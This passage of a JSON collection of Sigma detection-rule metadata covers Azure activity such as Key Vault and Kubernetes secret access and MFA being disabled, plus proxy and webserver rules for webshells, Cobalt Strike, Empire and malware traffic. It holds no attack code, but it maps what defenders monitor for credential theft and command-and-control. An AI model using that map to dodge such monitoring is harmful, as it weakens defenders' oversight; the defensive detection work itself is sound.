        "falsepositive": [
          "Sensitive objects may be accessed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Sensitive objects accessed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_kubernetes_secret_or_config_object_access.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes",
          "https://attack.mitre.org/matrices/enterprise/cloud/",
          "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/",
          "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/",
          "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_secret_or_config_object_access.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "7ee0b4aa-d8d4-4088-b661-20efdf41a04c",
      "value": "Azure Kubernetes Secret or Config Object Access"
    },
    {
      "description": "Identifies when ClusterRoles/Roles are being modified or deleted.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/07",
        "falsepositive": [
          "ClusterRoles/Roles being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "ClusterRoles/Roles modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_kubernetes_role_access.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes",
          "https://attack.mitre.org/matrices/enterprise/cloud/",
          "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/",
          "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/",
          "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_role_access.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "818fee0c-e0ec-4e45-824e-83e4817b0887",
      "value": "Azure Kubernetes Sensitive Role Access"
    },
    {
      "description": "Identifies when a Keyvault Key is modified or deleted in Azure.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/16",
        "falsepositive": [
          "Key being modified or deleted may be performed by a system administrator.",
          "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Key modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_keyvault_key_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_keyvault_key_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.credential_access",
          "attack.t1552",
          "attack.t1552.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "80eeab92-0979-4152-942d-96749e11df40",
      "value": "Azure Keyvault Key Modified or Deleted"
    },
    {
      "description": "Identifies when a VPN connection is modified or deleted.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/08",
        "falsepositive": [
          "VPN Connection being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "VPN Connection modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_vpn_connection_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_vpn_connection_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "61171ffc-d79c-4ae5-8e10-9323dba19cd3",
      "value": "Azure VPN Connection Modified or Deleted"
    },
    {
      "description": "Detects when a Container Registry is created or deleted.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/07",
        "falsepositive": [
          "Container Registry being created or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Container Registry created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_container_registry_created_or_deleted.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes",
          "https://attack.mitre.org/matrices/enterprise/cloud/",
          "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/",
          "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/",
          "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_container_registry_created_or_deleted.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "93e0ef48-37c8-49ed-a02c-038aab23628e",
      "value": "Azure Container Registry Created or Deleted"
    },
    {
      "description": "Detects when Events are deleted in Azure Kubernetes. An adversary may delete events in Azure Kubernetes in an attempt to evade detection.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/07/24",
        "falsepositive": [
          "Event deletions may be done by a system or network administrator. Verify whether the username, hostname, and/or resource name should be making changes in your environment. Events deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_kubernetes_events_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://github.com/elastic/detection-rules/blob/da3852b681cf1a33898b1535892eab1f3a76177a/rules/integrations/azure/defense_evasion_kubernetes_events_deleted.toml",
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_events_deleted.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "225d8b09-e714-479c-a0e4-55e6f29adf35",
      "value": "Azure Kubernetes Events Deleted"
    },
    {
      "description": "User Added to an Administrator's Azure AD Role",
      "meta": {
        "author": "Raphaël CALVET, @MetallicHack",
        "creation_date": "2021/10/04",
        "falsepositive": [
          "PIM (Privileged Identity Management) generates this event each time 'eligible role' is enabled."
        ],
        "filename": "azure_ad_user_added_to_admin_role.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://m365internals.com/2021/07/13/what-ive-learned-from-doing-a-year-of-cloud-forensics-in-azure-ad/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_ad_user_added_to_admin_role.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1098.003",
          "attack.t1078"
        ]
      },
      "related": [
        {
          "dest-uuid": "2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ebbeb024-5b1d-4e16-9c0c-917f86c708a7",
      "value": "User Added to an Administrator's Azure AD Role"
    },
    {
      "description": "Identifies when a Azure Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate.\nKubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs.\nAn Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/11/22",
        "falsepositive": [
          "Azure Kubernetes CronJob/Job may be done by a system administrator.",
          "If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_kubernetes_cronjob.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes",
          "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/",
          "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/",
          "https://kubernetes.io/docs/concepts/workloads/controllers/job/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_cronjob.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1053.003",
          "attack.privilege_escalation",
          "attack.execution"
        ]
      },
      "related": [
        {
          "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1c71e254-6655-42c1-b2d6-5e4718d7fc0a",
      "value": "Azure Kubernetes CronJob"
    },
    {
      "description": "Detects the creation or patching of potential malicious RoleBinding/ClusterRoleBinding.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/07",
        "falsepositive": [
          "RoleBinding/ClusterRoleBinding being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "RoleBinding/ClusterRoleBinding modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_kubernetes_rolebinding_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes",
          "https://attack.mitre.org/matrices/enterprise/cloud/",
          "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/",
          "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/",
          "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_rolebinding_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.credential_access"
        ]
      },
      "uuid": "25cb259b-bbdc-4b87-98b7-90d7c72f8743",
      "value": "Azure Kubernetes RoleBinding/ClusterRoleBinding Modified and Deleted"
    },
    {
      "description": "Identifies when a firewall is created, modified, or deleted.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/08",
        "falsepositive": [
          "Firewall being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Firewall modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_firewall_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_firewall_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.defense_evasion",
          "attack.t1562.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "512cf937-ea9b-4332-939c-4c2c94baadcd",
      "value": "Azure Firewall Modified or Deleted"
    },
    {
      "description": "Identifies when DNS zone is modified or deleted.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/08",
        "falsepositive": [
          "DNS zone modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "DNS zone modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_dns_zone_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_dns_zone_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1565.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "1cfcb312-b8d7-47a4-b560-4b16cc677292",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "af6925b0-8826-47f1-9324-337507a0babd",
      "value": "Azure DNS Zone Modified or Deleted"
    },
    {
      "description": "Identifies when a Virtual Network is modified or deleted in Azure.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/08",
        "falsepositive": [
          "Virtual Network being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Virtual Network modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_virtual_network_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_virtual_network_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "bcfcc962-0e4a-4fd9-84bb-a833e672df3f",
      "value": "Azure Virtual Network Modified or Deleted"
    },
    {
      "description": "Identifies when a device in azure is no longer managed or compliant",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/09/03",
        "falsepositive": [
          "Administrator may have forgotten to review the device."
        ],
        "filename": "azure_device_no_longer_managed_or_compliant.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#core-directory",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_device_no_longer_managed_or_compliant.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "542b9912-c01f-4e3f-89a8-014c48cdca7d",
      "value": "Azure Device No Longer Managed or Compliant"
    },
    {
      "description": "Detection for when multi factor authentication has been disabled, which might indicate a malicious activity to bypass authentication mechanisms.",
      "meta": {
        "author": "@ionsor",
        "creation_date": "2022/02/08",
        "falsepositive": [
          "Authorized modification by administrators"
        ],
        "filename": "azure_mfa_disabled.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/active-directory/authentication/howto-mfa-userstates",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_mfa_disabled.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1556"
        ]
      },
      "related": [
        {
          "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7ea78478-a4f9-42a6-9dcd-f861816122bf",
      "value": "Disabled MFA to Bypass Authentication Mechanisms"
    },
    {
      "description": "Identifies when a Point-to-site VPN is Modified or Deleted.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/08",
        "falsepositive": [
          "Point-to-site VPN being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Point-to-site VPN modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_network_p2s_vpn_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_network_p2s_vpn_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "d9557b75-267b-4b43-922f-a775e2d1f792",
      "value": "Azure Point-to-site VPN Modified or Deleted"
    },
    {
      "description": "Identifies when secrets are modified or deleted in Azure.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/16",
        "falsepositive": [
          "Secrets being modified or deleted may be performed by a system administrator.",
          "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Secrets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_keyvault_secrets_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_keyvault_secrets_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.credential_access",
          "attack.t1552",
          "attack.t1552.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b831353c-1971-477b-abb6-2828edc3bca1",
      "value": "Azure Keyvault Secrets Modified or Deleted"
    },
    {
      "description": "Identifies when a Azure Kubernetes network policy is modified or deleted.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/07",
        "falsepositive": [
          "Network Policy being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Network Policy being modified and deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_kubernetes_network_policy_change.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes",
          "https://attack.mitre.org/matrices/enterprise/cloud/",
          "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/",
          "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/",
          "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_network_policy_change.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.credential_access"
        ]
      },
      "uuid": "08d6ac24-c927-4469-b3b7-2e422d6e3c43",
      "value": "Azure Kubernetes Network Policy Change"
    },
    {
      "description": "Identifies when a service account is modified or deleted.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/07",
        "falsepositive": [
          "Service account being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Service account modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_kubernetes_service_account_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes",
          "https://attack.mitre.org/matrices/enterprise/cloud/",
          "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/",
          "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/",
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        "level": "high",
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          "https://www.x41-dsec.de/lab/advisories/x41-2021-002-nginx-resolver-copy/",
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        "author": "Florian Roth (Nextron Systems)",
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        "logsource.category": "No established category",
        "logsource.product": "No established product",
        "refs": [
          "https://github.com/hannob/apache-uaf/blob/da40f2be3684c8095ec6066fa68eb5c07a086233/README.md",
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        "filename": "web_apache_segfault.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "No established product",
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          "http://www.securityfocus.com/infocus/1633",
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      "description": "Detects common commands used in Windows webshells",
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        "level": "high",
        "logsource.category": "webserver",
        "logsource.product": "No established product",
        "refs": [
          "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/",
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        ],
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        "logsource.category": "webserver",
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        ],
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        ],
        "filename": "web_susp_useragents.yml",
        "level": "medium",
        "logsource.category": "webserver",
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          "https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_susp_useragents.yml"
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        ],
        "filename": "web_ssti_in_access_logs.yml",
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        {
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      "value": "Server Side Template Injection Strings"
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      "meta": {
        "author": "Florian Roth (Nextron Systems), Markus Neis",
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        "falsepositive": [
          "Old browsers"
        ],
        "filename": "proxy_ua_apt.yml",
        "level": "high",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_apt.yml"
        ],
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      "meta": {
        "author": "Florian Roth (Nextron Systems), Brian Ingram (update)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proxy_ua_susp_base64.yml",
        "level": "medium",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://deviceatlas.com/blog/list-of-user-agent-strings#desktop",
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        ],
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        {
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      "value": "Potential Base64 Encoded User-Agent"
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      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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        "falsepositive": [
          "Valid requests with this exact user agent to server scripts of the defined names"
        ],
        "filename": "proxy_empire_ua_uri_combos.yml",
        "level": "high",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://github.com/BC-SECURITY/Empire",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_empire_ua_uri_combos.yml"
        ],
        "tags": [
          "attack.defense_evasion",
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      },
      "related": [
        {
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      "value": "Empire UserAgent URI Combo"
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      "description": "Detects Bitsadmin connections to domains with uncommon TLDs",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Tim Shelton",
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          "Rare programs that use Bitsadmin and update from regional TLDs e.g. .uk or .ca"
        ],
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        "level": "high",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://twitter.com/jhencinski/status/1102695118455349248",
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          "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_bitsadmin_susp_tld.yml"
        ],
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          "attack.command_and_control",
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      },
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        {
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        {
          "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7",
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      ],
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        "author": "Florian Roth (Nextron Systems)",
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          "Unknown"
        ],
        "filename": "proxy_turla_comrat.yml",
        "level": "high",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_turla_comrat.yml"
        ],
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          "attack.defense_evasion",
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        {
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proxy_chafer_malware.yml",
        "level": "critical",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://securelist.com/chafer-used-remexi-malware/89538/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_chafer_malware.yml"
        ],
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          "attack.command_and_control",
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        {
          "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
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      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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          "Unlikely"
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        "filename": "proxy_exchange_owassrf_poc_exploitation.yml",
        "level": "critical",
        "logsource.category": "proxy",
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        "refs": [
          "https://www.rapid7.com/blog/post/2022/12/21/cve-2022-41080-cve-2022-41082-rapid7-observed-exploitation-of-owassrf-in-exchange-for-rce/",
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        {
          "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      "uuid": "fdd7e904-7304-4616-a46a-e32f917c4be4",
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      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proxy_ua_frameworks.yml",
        "level": "high",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_frameworks.yml"
        ],
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          "attack.command_and_control",
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        {
          "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      "uuid": "fdd1bfb5-f60b-4a35-910e-f36ed3d0b32f",
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      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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          "Administrative scripts that download files from the Internet",
          "Administrative scripts that retrieve certain website contents",
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        ],
        "filename": "proxy_downloadcradle_webdav.yml",
        "level": "high",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_downloadcradle_webdav.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1071.001"
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      },
      "related": [
        {
          "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      "value": "Windows WebDAV User Agent"
    },
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      "description": "Detects download of certain file types from hosts with dynamic DNS names (selected list)",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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        "falsepositive": [
          "Software downloads"
        ],
        "filename": "proxy_download_susp_dyndns.yml",
        "level": "medium",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://www.alienvault.com/blogs/security-essentials/dynamic-dns-security-and-potential-threats",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_download_susp_dyndns.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.command_and_control",
          "attack.t1105",
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      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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        {
          "dest-uuid": "7bd9c723-2f78-4309-82c5-47cad406572b",
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      ],
      "uuid": "195c1119-ef07-4909-bb12-e66f5e07bf3c",
      "value": "Download from Suspicious Dyndns Hosts"
    },
    {
      "description": "Detects Malleable OneDrive Profile",
      "meta": {
        "author": "Markus Neis",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proxy_cobalt_onedrive.yml",
        "level": "high",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/onedrive_getonly.profile",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_cobalt_onedrive.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.command_and_control",
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      },
      "related": [
        {
          "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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        }
      ],
      "uuid": "c9b33401-cc6a-4cf6-83bb-57ddcb2407fc",
      "value": "CobaltStrike Malleable OneDrive Browsing Traffic Profile"
    },
    {
      "description": "Detects suspicious malformed user agent strings in proxy logs",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/07/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proxy_ua_susp.yml",
        "level": "high",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cff8da331dfc/templates/default/scanners-user-agents.data.erb",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_susp.yml"
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          "attack.command_and_control",
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      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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          "Legitimate use of Telegram bots in the company"
        ],
        "filename": "proxy_telegram_api.yml",
        "level": "medium",
        "logsource.category": "proxy",
        "logsource.product": "No established product",
        "refs": [
          "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/",
